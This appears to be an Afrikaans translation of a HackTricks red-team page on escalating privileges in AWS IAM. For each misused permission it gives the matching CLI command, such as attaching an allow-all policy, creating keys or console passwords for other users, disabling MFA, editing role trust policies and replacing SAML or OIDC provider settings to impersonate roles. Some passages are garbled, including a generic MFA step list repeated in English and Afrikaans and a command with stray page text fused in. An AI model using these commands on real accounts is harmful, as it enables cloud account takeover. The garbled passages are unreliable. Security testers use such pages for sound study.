AWS - IAM Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

IAM

Vir meer inligting oor IAM, kyk:

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Verleen die vermoë om 'n nuwe IAM-beleidsweergawe te skep, deur die behoefte aan iam:SetDefaultPolicyVersion-toestemming te omseil deur die --set-as-default-vlag te gebruik. Dit maak dit moontlik om aangepaste toestemmings te definieer.

Exploit-opdrag:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impak: Verhoog direk voorregte deur enige aksie op enige hulpbron toe te laat.

iam:SetDefaultPolicyVersion

Maak dit moontlik om die verstek weergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat moontlik voorregte verhoog as die nuwe weergawe meer toestemmings het.

Bash-opdrag:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impak: Indirekte voorregverhoging deur meer toestemmings in te skakel.

iam:CreateAccessKey

Maak dit moontlik om 'n toegangssleutel-ID en geheime toegangssleutel vir 'n ander gebruiker te skep, wat kan lei tot potensiële voorregverhoging.

Exploit:

aws iam create-access-key --user-name <target_user>

Impak: Direkte voorregverhoging deur die aanneming van 'n ander gebruiker se uitgebreide toestemmings.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Maak dit moontlik om 'n aanmeldingsprofiel te skep of by te werk, insluitend die instelling van wagwoorde vir AWS-konsole-aanmelding, wat lei tot direkte voorregverhoging.

Exploit vir Skepping:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Uitbuiting vir Opdatering:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impak: Direkte voorregverhoging deur as "enige" gebruiker in te teken.

iam:UpdateAccessKey

Maak dit moontlik om 'n uitgeskakelde toegangssleutel te aktiveer, wat moontlik kan lei tot ongemagtigde toegang as die aanvaller in besit is van die uitgeskakelde sleutel.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impak: Direkte voorregverhoging deur toegangssleutels te heraktiveer.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Maak dit moontlik om geloofsbriewe vir spesifieke AWS-diens te genereer of te herstel (bv. CodeCommit, Amazon Keyspaces), en erf die toestemmings van die betrokke gebruiker.

Uitbuiting vir Skepping:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Uitbuiting vir Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impak: Direkte voorregverhoging binne die gebruiker se diensregte.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Maak dit moontlik om beleide aan gebruikers of groepe te heg, en verhoog sodoende direk voorregte deur die regte van die gehegde beleid te erf.

Exploit vir Gebruiker:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Uitbuiting vir Groep:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impak: Direkte voorregverhoging na enige iets wat die beleid toelaat.

iam:AttachRolePolicy, (sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Maak dit moontlik om beleide aan rolle, gebruikers of groepe te heg of te plaas, wat direkte voorregverhoging moontlik maak deur addisionele toestemmings te verleen.

Uitbuiting vir Rol:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Uitbuiting vir Inline-beleide:

Hierdie metode maak gebruik van die moontlikheid om 'n inline-beleid aan 'n bestaande rol in AWS IAM toe te voeg. 'n Inline-beleid is 'n beleid wat direk aan 'n spesifieke rol gekoppel is, in teenstelling met 'n beleid wat aan 'n beleidsgroep gekoppel is.

Om hierdie uitbuiting uit te voer, moet jy die volgende stappe volg:

  1. Identifiseer 'n rol met 'n inline-beleid wat jy wil uitbuit.

  2. Skep 'n nuwe beleid wat die nodige aksies en hulpbronne bevat wat jy wil verkry.

  3. Voeg die nuwe beleid as 'n inline-beleid by die gekose rol.

  4. Verifieer dat die beleid korrek aan die rol gekoppel is.

  5. Gebruik die rol om die gewenste aksies uit te voer.

Dit is belangrik om te onthou dat hierdie metode slegs werk as jy die nodige toestemmings het om beleide aan rolle toe te voeg.

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Jy kan 'n beleid soos die volgende gebruik:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impak: Direkte voorregverhoging deur toestemmings by te voeg deur middel van beleide.

iam:AddUserToGroup

Maak dit moontlik om 'n gebruiker by 'n IAM-groep te voeg, en verhoog voorregte deur die groep se toestemmings te erf.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impak: Direkte voorregverhoging na die vlak van die groep se toestemmings.

iam:UpdateAssumeRolePolicy

Maak dit moontlik om die aanname rolbeleidsdokument van 'n rol te verander, sodat die rol en die gepaardgaande toestemmings aangeneem kan word.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan te neem:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impak: Direkte voorregverhoging deur enige rol se toestemmings aan te neem.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Maak dit moontlik om 'n SSH openbare sleutel op te laai vir verifikasie by CodeCommit en om MFA-toestelle te deaktiveer, wat kan lei tot potensiële indirekte voorregverhoging.

Exploit vir SSH Sleutel Oplaai:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Uitbuiting vir MFA Deaktivering:

To exploit this vulnerability, follow these steps:

1. Identify a user with the necessary permissions to modify IAM policies.
2. Gain access to the user's AWS Management Console or AWS CLI.
3. Locate the IAM user's credentials, including the access key and secret key.
4. Use the obtained credentials to modify the user's IAM policy.
5. Remove the MFA requirement from the user's IAM policy.
6. Save the modified IAM policy.
7. Test the changes by attempting to access restricted resources without MFA.
8. If successful, the MFA requirement has been deactivated for the user.
Om van hierdie kwesbaarheid gebruik te maak, volg hierdie stappe:

1. Identifiseer 'n gebruiker met die nodige regte om IAM-beleide te wysig.
2. Kry toegang tot die gebruiker se AWS-bestuurskonsol of AWS CLI.
3. Vind die IAM-gebruiker se geloofsbriewe, insluitend die toegangssleutel en geheime sleutel.
4. Gebruik die verkryde geloofsbriewe om die gebruiker se IAM-beleid te wysig.
5. Verwyder die MFA-vereiste uit die gebruiker se IAM-beleid.
6. Stoor die gewysigde IAM-beleid.
7. Toets die veranderinge deur te probeer om toegang tot beperkte hulpbronne te verkry sonder MFA.
8. As dit suksesvol is, is die MFA-vereiste gedeaktiveer vir die gebruiker.
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impak: Indirekte voorregverhoging deur CodeCommit-toegang in te skakel of MFA-beskerming uit te skakel.

iam:ResyncMFADevice

Maak dit moontlik om 'n MFA-toestel te her-sinkroniseer, wat moontlik kan lei tot indirekte voorregverhoging deur MFA-beskerming te manipuleer.

Bash-opdrag:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impak: Indirekte voorregverhoging deur MFA-toestelle by te voeg of te manipuleer.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Met hierdie toestemmings kan jy die XML-metadata van die SAML-koppeling verander. Dan kan jy die SAML-federasie misbruik om met enige rol wat dit vertrou in te teken.

Let daarop dat wettige gebruikers nie sal kan inteken nie. Jy kan egter die XML kry, sodat jy joune kan plaas, inteken en die vorige konfigurasie herstel.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: 'n Gereedskap wat in staat is om die SAML metadata te genereer en in te teken met 'n gespesifiseerde rol

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Ongeseur oor hierdie) As 'n aanvaller hierdie toestemmings het, kan hy 'n nuwe Thumbprint byvoeg om in te teken op alle rolle wat die verskaffer vertrou.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated